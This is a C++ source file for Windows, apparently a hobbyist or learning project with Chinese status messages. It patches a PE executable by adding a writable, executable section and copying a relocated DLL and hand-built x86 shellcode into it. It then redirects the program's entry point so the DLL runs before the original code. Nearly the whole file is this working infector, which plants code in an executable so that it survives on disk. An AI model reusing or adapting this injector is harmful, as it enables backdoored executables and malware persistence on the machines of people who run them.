#include <iostream>
#include <Windows.h>
#include "CString.h"
#include "Shellcode.h"
#define path_exe "c:\\LoadPE.exe"
#define out_path "c:\\newfile.exe"
#define path_dll "C:\\Users\\daddy\\Desktop\\软件代码区\\dll库\\test_dll\\Release\\test_dll.dll"
#define GET_HEADER_DICTIONARY(module, idx) &(module)->headers->OptionalHeader.DataDirectory[idx]
#ifdef _WIN64
#define POINTER_TYPE ULONGLONG
#else
#define POINTER_TYPE DWORD
#endif
int
GetBuffAddrAndSizeofFile(
char
* FilePath, _Out_
DWORD
* buff, _Out_
DWORD
* FileSize, _Out_
DWORD
* FileSize1);
void
PerformBaseRelocation(
char
* buff,
DWORD
Value);
DWORD
StretchDLL(
DWORD
pFileBuff,
DWORD
FileSize,
DWORD
BaseAddress);
DWORD
StretchEXE(
DWORD
pFileBuff,
DWORD
FileSize);
DWORD
FileAlignment(
DWORD
pFileBuf,
DWORD
FileSize);
void
SaveFile(
DWORD
buffer,
DWORD
nLength);
void
addSeciton(
DWORD
pFileBuff,
DWORD
AddSize);
void
File_Forever_Inject()
{
DWORD
pFileBuf_exe = 0;
DWORD
FileSize_exe = 0;
DWORD
FileSize_exe_1 = 0;
if
(GetBuffAddrAndSizeofFile((
char
*)path_exe, &pFileBuf_exe, &FileSize_exe, &FileSize_exe_1) == 0)
{
return
;
}
DWORD
pFileBuf_dll = 0;
DWORD
FileSize_dll = 0;
DWORD
FileSize_dll_1 = 0;
if
(GetBuffAddrAndSizeofFile((
char
*)path_dll, &pFileBuf_dll, &FileSize_dll, &FileSize_dll_1) == 0)
{
return
;
}
DWORD
NewSectionSize = FileSize_dll +
sizeof
(Getkernel32Addr) +
sizeof
(GetprocessAddress) +
sizeof
(RebuildimportTable) + 0x100;
addSeciton(pFileBuf_exe, NewSectionSize);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileBuf_exe;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pFileBuf_exe + pDosHeader->e_lfanew);
DWORD
New_Filesize_dll = StretchDLL(pFileBuf_dll, FileSize_dll, pNtHeader->OptionalHeader.ImageBase + FileSize_exe);
DWORD
nLength = FileSize_exe_1 + NewSectionSize;
char
* TotalBuff =
new
char
[nLength];
memset
(TotalBuff, 0, nLength);
memcpy
(TotalBuff, (
void
*)pFileBuf_exe, FileSize_exe_1);
memcpy
(TotalBuff + FileSize_exe_1, (
char
*)New_Filesize_dll, FileSize_dll);
memcpy
(TotalBuff + FileSize_exe_1 + FileSize_dll, Getkernel32Addr,
sizeof
(Getkernel32Addr));
memcpy
(TotalBuff + FileSize_exe_1 + FileSize_dll +
sizeof
(Getkernel32Addr), GetprocessAddress,
sizeof
(GetprocessAddress));
memcpy
(TotalBuff + FileSize_exe_1 + FileSize_dll +
sizeof
(Getkernel32Addr) +
sizeof
(GetprocessAddress), RebuildimportTable,
sizeof
(RebuildimportTable));
char
GetProcAddress_Code[] = {
0x47 ,0x65 ,0x74 ,0x50 ,0x72 ,0x6F ,0x63 ,0x41 ,0x64 ,0x64 ,0x72 ,0x65 ,0x73 ,0x73
};
char
LoadLibraryA_Code[] = {
0x4C ,0x6F ,0x61 ,0x64 ,0x4C ,0x69 ,0x62 ,0x72 ,0x61 ,0x72 ,0x79 ,0x41
};
memcpy
(TotalBuff + nLength - 0x40, GetProcAddress_Code,
sizeof
(GetProcAddress_Code));
memcpy
(TotalBuff + nLength - 0x30, LoadLibraryA_Code,
sizeof
(LoadLibraryA_Code));
PIMAGE_DOS_HEADER pDosHeader_dll = (PIMAGE_DOS_HEADER)pFileBuf_dll;
PIMAGE_NT_HEADERS pNtHeader_dll = (PIMAGE_NT_HEADERS)(pFileBuf_dll + pDosHeader_dll->e_lfanew);
DWORD
OEP_dll = pNtHeader_dll->OptionalHeader.AddressOfEntryPoint;
DWORD
DllEntry = pNtHeader->OptionalHeader.ImageBase + FileSize_exe + OEP_dll;
DWORD
temp = pNtHeader->OptionalHeader.ImageBase + FileSize_exe + FileSize_dll;
DWORD
temp_1 =
sizeof
(Getkernel32Addr) +
sizeof
(GetprocessAddress) +
sizeof
(RebuildimportTable);
DWORD
s_GetKernel32Addr = temp - (temp + temp_1+6) - 5;
DWORD
s_MyGetProcessAddress = temp +
sizeof
(Getkernel32Addr) - (temp + temp_1 + 0x14) - 5;
DWORD
s_RebuildImportTable = temp +
sizeof
(Getkernel32Addr) +
sizeof
(GetprocessAddress) -
(temp + temp_1 + 0x38) - 5;
DWORD
DllFunc = DllEntry - (temp + temp_1 + 0x49) - 5;
DWORD
GPA = pNtHeader->OptionalHeader.ImageBase + FileSize_exe + NewSectionSize - 0x40;
DWORD
LLA= pNtHeader->OptionalHeader.ImageBase + FileSize_exe + NewSectionSize - 0x30;
DWORD
DLLAddr = pNtHeader->OptionalHeader.ImageBase + FileSize_exe;
DWORD
jmp_orig = pNtHeader->OptionalHeader.AddressOfEntryPoint + pNtHeader->OptionalHeader.ImageBase;
char
ShellCode[] = {
0x55,
0x8B,0xEC,
0x83,0xEC,0x50,
0xE8,
s_GetKernel32Addr & 0xFF,(s_GetKernel32Addr & 0xFF00) >> 8,(s_GetKernel32Addr & 0xFF0000) >> 16,s_GetKernel32Addr >> 24,
0x89,0x45,0xFC,
0x68,
GPA & 0xFF,(GPA & 0xFF00) >> 8,(GPA & 0xFF0000) >> 16,GPA >> 24,
0x50,
0xE8,
s_MyGetProcessAddress & 0xFF,(s_MyGetProcessAddress & 0xFF00) >> 8,(s_MyGetProcessAddress & 0xFF0000) >> 16,s_MyGetProcessAddress >> 24,
0x83,0xC4,0x08,
0x89,0x45,0xF8,
0x68,
LLA & 0xFF,(LLA & 0xFF00) >> 8,(LLA & 0xFF0000) >> 16,LLA >> 24,
0x8B,0x5D,0xFC,
0x53,
0xFF,0xD0,
0x89,0x45,0xF4,
0x8B,0x5D,0xF8,
0x53,
0x8b,0xD0,
0xB9,
DLLAddr & 0xFF,(DLLAddr & 0xFF00) >> 8,(DLLAddr & 0xFF0000) >> 16,DLLAddr >> 24,
0xE8,
s_RebuildImportTable & 0xFF,(s_RebuildImportTable & 0xFF00) >> 8,(s_RebuildImportTable & 0xFF0000) >> 16,s_RebuildImportTable >> 24,
0x83,0xC4,0x04,
0x6A,0x00,
0x6A,0x01,
0x68,
DLLAddr & 0xFF,(DLLAddr & 0xFF00) >> 8,(DLLAddr & 0xFF0000) >> 16,DLLAddr >> 24,
0xE8,
DllFunc & 0xFF,(DllFunc & 0xFF00) >> 8,(DllFunc & 0xFF0000) >> 16,DllFunc >> 24,
0x68,
jmp_orig & 0xFF,(jmp_orig & 0xFF00) >> 8,(jmp_orig & 0xFF0000) >> 16,jmp_orig >> 24,
0xC3
};
DWORD
Addr = (
DWORD
)TotalBuff + FileSize_exe_1 + NewSectionSize - 0x100;
for
(
int
i = 0; i <
sizeof
(ShellCode); i++)
{
((
char
*)Addr)[i] = ShellCode[i];
}
PIMAGE_DOS_HEADER pDosHeader_New = (PIMAGE_DOS_HEADER)TotalBuff;
PIMAGE_NT_HEADERS pNtHeader_New = (PIMAGE_NT_HEADERS)(TotalBuff + pDosHeader_New->e_lfanew);
DWORD
New_OEP = FileSize_exe+ NewSectionSize-0x100;
*&(pNtHeader_New->OptionalHeader.AddressOfEntryPoint) = New_OEP;
SaveFile((
DWORD
)TotalBuff, nLength);
}
int
main()
{
File_Forever_Inject();
system
(
"pause"
);
return
0;
}
DWORD
StretchDLL(
DWORD
pFileBuff,
DWORD
FileSize,
DWORD
BaseAddress)
{
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileBuff;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pFileBuff + pDosHeader->e_lfanew);
char
* NewFileBuff =
new
char
[FileSize];
if
(NewFileBuff==NULL)
{
printf
(
"内存申请失败!"
);
return
0;
}
memset
(NewFileBuff, 0, FileSize);
memcpy
(NewFileBuff, pDosHeader, pNtHeader->OptionalHeader.SizeOfHeaders);
PIMAGE_OPTIONAL_HEADER32 OptionalHeader = (PIMAGE_OPTIONAL_HEADER32)((
DWORD
)pFileBuff + pDosHeader->e_lfanew + 4 + IMAGE_SIZEOF_FILE_HEADER);
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((
DWORD
)OptionalHeader + pNtHeader->FileHeader.SizeOfOptionalHeader);
for
(
int
i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++, pSectionHeader++)
{
char
* x = (
char
*)NewFileBuff + pSectionHeader->VirtualAddress;
char
* y = (
char
*)pFileBuff + pSectionHeader->PointerToRawData;
memcpy
(x ,y, pSectionHeader->SizeOfRawData);
}
int
locationDelta = (
SIZE_T
)((
DWORD
)BaseAddress - pNtHeader->OptionalHeader.ImageBase);
if
(locationDelta != 0)
{
PerformBaseRelocation((
char
*)NewFileBuff, locationDelta);
}
return
(
DWORD
)NewFileBuff;
}
DWORD
StretchEXE(
DWORD
pFileBuff,
DWORD
FileSize)
{
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileBuff;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pFileBuff + pDosHeader->e_lfanew);
char
* NewFileBuff =
new
char
[FileSize];
if
(NewFileBuff == NULL)
{
printf
(
"内存申请失败!"
);
return
0;
}
memset
(NewFileBuff, 0, FileSize);
memcpy
(NewFileBuff, pDosHeader, pNtHeader->OptionalHeader.SizeOfHeaders);
PIMAGE_OPTIONAL_HEADER32 OptionalHeader = (PIMAGE_OPTIONAL_HEADER32)((
DWORD
)pFileBuff + pDosHeader->e_lfanew + 4 + IMAGE_SIZEOF_FILE_HEADER);
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((
DWORD
)OptionalHeader + pNtHeader->FileHeader.SizeOfOptionalHeader);
for
(
int
i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++, pSectionHeader++)
{
char
* x = (
char
*)NewFileBuff + pSectionHeader->VirtualAddress;
char
* y = (
char
*)pFileBuff + pSectionHeader->PointerToRawData;
memcpy
(x, y, pSectionHeader->SizeOfRawData);
}
return
(
DWORD
)NewFileBuff;
}
int
GetBuffAddrAndSizeofFile(
char
* FilePath, _Out_
DWORD
* buff, _Out_
DWORD
* FileSize ,_Out_
DWORD
* FileSize1)
{
HANDLE
hFile = CreateFile(
FilePath,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD
dwFileSize = GetFileSize(hFile, NULL);
CHAR
*pFileBuf =
new
CHAR
[dwFileSize];
memset
(pFileBuf, 0, dwFileSize);
DWORD
ReadSize = 0;
ReadFile(hFile, pFileBuf, dwFileSize, &ReadSize, NULL);
CloseHandle(hFile);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileBuf;
if
(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
printf
(
"不是MZ开头\n"
);
return
0;
}
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pFileBuf + pDosHeader->e_lfanew);
if
(pNtHeader->Signature != IMAGE_NT_SIGNATURE)
{
printf
(
"不是PE文件\n"
);
return
0;
}
*buff = (
DWORD
)pFileBuf;
*FileSize = (pNtHeader->OptionalHeader.SizeOfImage % pNtHeader->OptionalHeader.SectionAlignment==0) ?
(pNtHeader->OptionalHeader.SizeOfImage) :
(pNtHeader->OptionalHeader.SizeOfImage- (pNtHeader->OptionalHeader.SizeOfImage % pNtHeader->OptionalHeader.SectionAlignment)+ pNtHeader->OptionalHeader.SectionAlignment);
*FileSize1 = dwFileSize;
return
1;
}
DWORD
FileAlignment(
DWORD
pFileBuf,
DWORD
FileSize)
{
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileBuf;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pFileBuf + pDosHeader->e_lfanew);
DWORD
filealign = pNtHeader->OptionalHeader.FileAlignment;
if
(FileSize % filealign==0)
{
return
FileSize;
}
else
{
return
FileSize - FileSize % filealign + filealign;
}
}
void
SaveFile(
DWORD
buffer,
DWORD
nLength)
{
FILE
* fp;
errno_t err = 0;
err = fopen_s(&fp,(
char
*)out_path,
"wb"
);
if
(err!=0)
{
printf
(
"file cannot open\n"
);
return
;
}
if
(
fwrite
((
char
*)buffer, nLength, 1, fp))
printf
(
"存盘成功!\n"
);
else
printf
(
"存盘失败!\n"
);
if
(
fclose
(fp))
printf
(
"\nfile cannot be closed\n"
);
}
void
addSeciton(
DWORD
pFileBuff,
DWORD
AddSize)
{
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileBuff;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pFileBuff + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER32 OptionalHeader = (PIMAGE_OPTIONAL_HEADER32)((
DWORD
)pFileBuff + pDosHeader->e_lfanew + 4 + IMAGE_SIZEOF_FILE_HEADER);
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((
DWORD
)OptionalHeader + pNtHeader->FileHeader.SizeOfOptionalHeader);
PIMAGE_SECTION_HEADER pse_temp = pSectionHeader + pNtHeader->FileHeader.NumberOfSections;
PIMAGE_SECTION_HEADER pse_temp_b = pSectionHeader + pNtHeader->FileHeader.NumberOfSections - 1;
int
space = OptionalHeader->SizeOfHeaders - ((
DWORD
)pse_temp - pFileBuff);
if
(pDosHeader->e_lfanew - 64 > 80 && space < 80)
{
int
len = ((
DWORD
*)pse_temp - &(pNtHeader->Signature)) * 4;
for
(
int
i = 0; i < len; i++)
{
*((
char
*)pFileBuff + 64 + i) = *((
char
*)pFileBuff + i + pDosHeader->e_lfanew);
}
pDosHeader->e_lfanew = 0x40;
pse_temp = pSectionHeader + pNtHeader->FileHeader.NumberOfSections;
pse_temp_b = pSectionHeader + pNtHeader->FileHeader.NumberOfSections - 1;
for
(
int
i = 0; i < 80; i++)
*((
char
*)pFileBuff + 64 + i + len) = 0;
space = pDosHeader->e_lfanew - 64;
}
if
(space > 80)
{
BYTE
(*p)[8] = &(pse_temp->Name);
int
name[8] = { 0x2E,0x74,0x74,0x74,0x74 };
for
(
int
i = 0; i < 8; i++)
p[0][i] = name[i];
pse_temp->Misc.VirtualSize = AddSize;
if
(pse_temp_b->Misc.VirtualSize > pse_temp_b->SizeOfRawData)
{
pse_temp->VirtualAddress =
((pse_temp_b->Misc.VirtualSize % OptionalHeader->SectionAlignment)==0)? pse_temp_b->Misc.VirtualSize :
(pse_temp_b->Misc.VirtualSize - pse_temp_b->Misc.VirtualSize % OptionalHeader->SectionAlignment + OptionalHeader->SectionAlignment )+
pse_temp_b->VirtualAddress;
printf
(
"%X\n"
, *&(pse_temp->VirtualAddress));
}
else
{
pse_temp->VirtualAddress =
((pse_temp_b->SizeOfRawData % OptionalHeader->SectionAlignment) == 0) ? pse_temp_b->SizeOfRawData :
(pse_temp_b->SizeOfRawData - pse_temp_b->SizeOfRawData % OptionalHeader->SectionAlignment + OptionalHeader->SectionAlignment) +
pse_temp_b->VirtualAddress;
}
pse_temp->SizeOfRawData = AddSize;
pse_temp->PointerToRawData = pse_temp_b->SizeOfRawData + pse_temp_b->PointerToRawData;
pse_temp->Characteristics = 0xE0000020;
pNtHeader->FileHeader.NumberOfSections = pNtHeader->FileHeader.NumberOfSections + 1;
pNtHeader->OptionalHeader.SizeOfImage = pNtHeader->OptionalHeader.SizeOfImage + AddSize;
}
else
printf
(
"添加节失败,没有空间添加新的节!"
);
}
void
PerformBaseRelocation(
char
* buff,
DWORD
Value)
{
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)buff;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(buff + pDosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY pDataDirectory = pNtHeader->OptionalHeader.DataDirectory;
if
(pDataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size > 0)
{
PIMAGE_BASE_RELOCATION relocation = (PIMAGE_BASE_RELOCATION)((
DWORD
)buff + pDataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
while
(relocation->VirtualAddress > 0)
{
BYTE
* dest = (
PBYTE
)((
DWORD
)buff + relocation->VirtualAddress);
WORD
* relInfo = (
PWORD
)((
DWORD
)relocation +
sizeof
(IMAGE_BASE_RELOCATION));
for
(
int
i = 0; i < ((relocation->SizeOfBlock -
sizeof
(IMAGE_BASE_RELOCATION)) / 2); ++i, ++relInfo)
{
DWORD
*patchAddrHL;
int
type, offset;
type = *relInfo >> 12;
offset = *relInfo & 0xFFF;
switch
(type)
{
case
IMAGE_REL_BASED_ABSOLUTE:
break
;
case
IMAGE_REL_BASED_HIGHLOW:
patchAddrHL = (PDWORD)(dest + offset);
*patchAddrHL += Value;
break
;
default
:
break
;
}
}
relocation = PIMAGE_BASE_RELOCATION((
DWORD
)relocation + relocation->SizeOfBlock);
}
}
}